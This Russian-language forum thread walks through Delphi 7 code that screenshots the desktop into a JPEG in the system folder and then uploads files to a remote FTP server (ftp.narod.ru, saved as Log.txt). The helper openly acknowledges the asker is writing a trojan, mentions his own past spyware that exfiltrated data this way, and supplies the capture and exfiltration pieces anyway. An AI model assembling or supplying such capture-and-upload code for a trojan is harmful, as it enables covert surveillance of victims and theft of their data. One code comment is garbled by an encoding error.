Как сделать скрин рабочего стола на Delphi 7?

[dradysman]

Как сделать скрин рабочего стола на Delphi 7?

[Вавел из ГМТУ]

Это мегасуперпупергипер баян...

Обычно на форуме присутствует такой код:
(я написал под себя процедурку.. Изменяй и пользуй)

{Производит скриншот экрана и сохранения с расширением .jpg}
Procedure TForm1.ScreenShot;
Var
  Bmp : TBitmap;
  JpgImg: TJPEGImage;
  DC : HDC;
Begin
Bmp := Tbitmap.Create;
JpgImg := TJPEGImage.Create;
Bmp.Height := Screen.Height;
Bmp.Width := Screen.Width;
DC := GetDC(0);
Bitblt(Bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC, 0, 0, SRCCOPY);
ReleaseDC(0, DC);
JpgImg.Assign(bmp); //в JPG грузим Битмап
JpgImg.CompressionQuality := 40; //устанавливаем компрессию (качество) (1-100)
Try
  JpgImg.SaveToFile(SystemDir + '\Screen.jpg'); //сохраняем в формате JPG
Except
End;
//Очищаем память.
JpgImg.Free;
Bmp.Free;
End;

[dradysman]

Вавел большое спасибо очень помог. У меня появился ещё один вопрос.
Я знаю как делать почтовый клиент с помощью Delphi (По отправки письма) но вот как отправить файл я не знаю. Как это можно сделать?

[Вавел из ГМТУ]

Мне конечноже понятно что ты пишешь трояна, но уж лучше трояна чем пиво и сигареты в подьезде.

Смотря как и куда нужно отправить. Когда я писал шпионский софт, то я сливал всё, что нужно на FTP, который регил на народе. Соответсвтенно нужен компонент idFTP.

Для отпраки: IdFTP1.Put(...);

Для загрузки: IdFTP1.Get(...);

Компонент idFTP находиться на вкладке Indy Client.

[dradysman]

Спасиба сейчас папробую.

Что то у меня не получается Вавел а ты можешь дать исходник? Буду очень благодарен.

[Вавел из ГМТУ]

Ну так покажи, что ты написАл и пытался запустить.

[dradysman]

Нашёл в интернете вот этот исходник

Чтобы что-то отправить на сайт, в документ, необходимо иметь ftp вход на этот сайт. Допустим, что ftp вход есть. Тогда создаём новый проект и добавляем на форму idftp1, button1 и statusbar1. В свойствах idftp1 заполняем свойства host, password и username.
procedure upload();
begin
form1.idftp1.changedir('www'); // ?oo§?o?y o y?µy?¦ ?o?u?
form1.idftp1.delete('ident.txt'); // если нужно заменить файл - удалим предыдущий
form1.idftp1.put('ident.txt', 'ident.txt', false ); // отправим наш файл 'ident.txt'
form1.idftp1.disconnect; // и отключимся
showmessage('Файл передан');
end;
end;



Попытался зделать. Но не чего не получается =(

[dradysman]

Что значит вот эта строка?
form1.idftp1.changedir('www');

[Вавел из ГМТУ]

Немогу сказать, что означает эта строка ибо надо смотреть F1. (судя по названию происходит смена рабочей директории)
Код, который ты нашёл, полная ерунда. У нас на форуме есть в сто раз лучше и понятней.

1. Соединяемся с сервером. С этого блока начинается работа с FTP.

//Соединяемся с сервером
IdFTP.Host := EHost.Text;
IdFTP.Username := EUserName.Text;
IdFTP.Password := EPassword.Text;
IdFTP.Port := StrToInt(EPort.Text);
IdFTP.Connect(True, 3000);

Сдесь EHost, EUserName, EPassword, EPort - текстовые поля. В них записаны хост, имя пользователя, пароль, порт соответствено.
Тут мы передаём компоненты данные для подключения и начинаем соединяться вызывая Connect.

2. Работа с файлами и папками. Основные команды:

IdFTP.Put(...); - загружает фаил на сервер.
IdFTP.Get(...); - скачивание файла с сервера.
IdFTP.Delete(...); - удаление файла с сервера.
IdFTP.MakeDir(...); - создать папку.

3. Завершаем работу с сервером.

//Отключаемся от сервера.
IdFTP.Disconnect;

Для справки: сервер FTP очень капризен к именам файлов. Например русские буквы не поддерживаются. Также там ещё чтото не поддерживется из символов, но я щас не вспомню.
Пути на FTP пишутся через обратный слеш. Пример: ADMIN/Program/1.txt

Пример:

//Соединяемся с сервером
//Подробнее о этих данных можно узнать у сапорта сайта.
//(значения для narod.ru)
IdFTP.Host := 'ftp.narod.ru';
IdFTP.Username := 'Admin';
IdFTP.Password := 'Admin';
IdFTP.Port := 21;
IdFTP.Connect(True, 3000); //Соединяемся.
//Отправляем фаил.
//Фаил С:\1.txt будет сохранён на сервере с именем Log.txt
IdFTP.Put('С:\1.txt', 'Log.txt', True);
IdFTP.Disconnect; // закрываем соединение.

[dradysman]

Огромное спасиба=) сейчас буду пробовать

Я всё зделал. Ошибки не выдаёт! Но я немогу найти файл Log.txt на ftp, может я не туда захожу =)